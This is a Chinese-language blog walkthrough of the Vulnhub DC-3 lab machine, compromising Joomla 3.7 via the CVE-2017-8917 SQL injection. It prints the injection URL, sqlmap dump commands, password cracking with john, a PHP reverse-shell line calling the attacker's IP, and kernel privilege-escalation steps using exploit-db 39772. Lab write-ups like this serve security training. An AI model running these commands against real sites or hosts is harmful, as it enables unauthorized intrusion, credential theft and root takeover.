Vulnhub靶机渗透测试之DC-3-Joomla
2020-12-25 00:55:18 Author: www.freebuf.com(查看原文) 阅读量:175 收藏

Joomla

Joomla是什么?

Joomla是一套全球知名的内容管理系统,它是使用php语言+MySQL数据库所开发的软件系统。可以在Linux、 Windows、Macosx等各种不同的平台上执行。常用于搭建商业网站、个人博客、信息管理系统、Web 服务等,但是最适合是用来做电子商务的网站。还可以进行二次开发以扩展使用范围。 功能包含可提高性能的页面缓存、RSS馈送、页面的可打印版本、新闻摘要、博客、投票、网站搜索、与语言国际化。

特点

1、先进的网站技术的运用

2、庞大的附加套件及商机

3、简单丰富的操作接口

4、高度客制和开发弹性

5、内核集成完善的SEO友好机制

6、超过70多种国家语言支持

环境搭建

(为了方便,两台机器我都设置为桥接模式)

攻击机:192.168.0.114

靶机:192.168.0.106

靶机下载地址:https://www.vulnhub.com/entry/dc-32,312/

目标:/root目录下的flag(一个)

可能会遇到的错误:

IDE 设备(磁盘/CD-ROM)配置不正确。“ide1:1”上具有一个 IDE 从设备,但没有主设备。此配置在虚拟机中无法正常运行。请使用配置编辑器将磁盘/CD-ROM 从“ide1:1”移到“ide1:0”。

是因为把光驱给删除了,就会一直报这个错!

解决方法

选择具体的虚拟机,点击 “虚拟机”->“设置”->“CD/DVD(IDE)" ->”高级“,将要启动设备设置到 IDE 0:0 上就可以了。

信息收集

nmap扫描,得到靶机的ip,开放了80端口,可以访问nhttp服务,而且还扫描出了网站的后台是Joomla的cms系统。

1608811693_5fe484ad7b4fd3b4a7bb5.png!small?1608811693802

访问http服务,提示靶场中只有一个flag,但是要得到root权限才可以。

1608811693_5fe484ad8335f5b9b8853.png!small?1608811693802

因为是joomla的cms系统,所以可以用扫描工具joomscan来探测信息

joomscan工具安装:

git clone https://github.com/rezasp/joomscan.git

cd joomscan

使用:

perl joomscan.pl --url 具体的url

1608814005_5fe48db544627c93cf3cc.png!small?1608814005642

还可以使用nmap来探测

扫描出joomla的版本为3.7,存在有一个cve-2017-8917的漏洞(利用该漏洞攻击者可以在未授权的情况下进行SQL注入攻击)

1608813541_5fe48be51184961f668ab.png!small?1608813541269

可以使用searchsploit来查找对应版本有一个sql注入

searchsploit Joomla 3.7.0

1608814249_5fe48ea98949f7ca6ea42.png!small?1608814249789

漏洞利用

SQL注入漏洞利用的poc:

http://你的 IP 地址:端口号/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

1608815781_5fe494a5eff76063602a1.png!small?1608815782208

爆数据库名

sqlmap -u "http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"  --dbs --batch

1608816022_5fe4959622b60b98e1681.png!small?1608816022444

爆表名,发现有张#_users表

sqlmap -u "http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"  -D joomladb --tables --batch

1608816286_5fe4969ea1f34e0f5410b.png!small?1608816286950

爆字段,无法获取字段名

1608816494_5fe4976e2f87c61c8e00e.png!small?1608816494362

那就尝试去猜解字段名,得到账户和密码密文

sqlmap -u "http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"  -D joomladb -T "#__users" -C name,password --dump --batch

1608816765_5fe4987db899abe1c115d.png!small?1608816766003

把爆出来的hash值放在一个新建的hash.txt文件中,然后使用john来获取明文密码为:snoopy

john  hash.txt

登录后台

访问我们信息收集到的网站的后台:http://ip:port/administrator

我的为:http:192.168.0.106:80/administrator   成功登录

1608817192_5fe49a283198816882222.png!small?1608817192503

getshell

在Templates模版设置中,可以编辑这些php文件,然后从外部访问。

在任意一个php文件中插入木马都可以

方式1:直接插入反弹shell的语句

在模版中添加反弹php的shell的语句,然后监听就可以

<?php system("bash -c 'bash -i >& /dev/tcp/kali的ip/4444 0>&1' "); ?>

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.0.114/4444 0>&1' "); ?>

1608818501_5fe49f45e84a95363ef88.png!small?1608818502190

在kali中设置好监听窗口,然后在浏览器访问:192.168.0.106/templates/beez3/error.php,反弹shell

1608818695_5fe4a007905027bfbb06e.png!small?1608818695719

方式2、直接插入一句话木马

直接插入php一句话木马,使用蚁剑连接成功

1608822634_5fe4af6ae7821191804ff.png!small?1608822635089

方式3、插入冰蝎的木马

冰蝎默认的php木马

1608820877_5fe4a88d1dce0261d3d8d.png!small?1608820877300

成功getshell

1608820193_5fe4a5e18e3d1af681bb3.png!small?1608820194064

方式4、msfvenom生成一个反弹shell

用msfvenom生成一个shell,然后将其复制到网站的php文件中,在设置监听,就可以getshell了

1608821701_5fe4abc59cfb7a3fba725.png!small?1608821701815

还可以上传其他的webshell

提权

可以不是root权限

执行uname -a查看内核版本,靶场环境系统为ubuntu 16.04

1608821937_5fe4acb13e296af17fddf.png!small?1608821937349

使用searchsploit查看Ubuntu 16.04存在的漏洞

1608822986_5fe4b0caf15ee21855556.png!small?1608822987525

查看漏洞介绍

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

介绍中给出了exp的地址:https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

1608823196_5fe4b19c8722a6d72fe3f.png!small?1608823196800

下载exp,使用刚才的蚁剑获得的权限将其上传

1608823402_5fe4b26ad6f9c1f30e5ee.png!small?1608823403009

解压运行,成功提权

unzip 39772.zip

cd 39772

tar -xvf exploit.tar

cd ebpf_mapfd_doubleput_exploit

./compile.sh

./doubleput

1608823894_5fe4b456b47df2efc9992.png!small?1608823895068

查看flag

1608824296_5fe4b5e89f2018dd1c152.png!small?1608824296758

知识点总结

1、可以了解一下Joomla

2、joomscan扫描工具的使用

3、cve-2017-8917漏洞的利用

4、利用linux的内核漏洞进行提权


文章来源: https://www.freebuf.com/articles/web/258802.html
如有侵权请联系:admin#unsafe.sh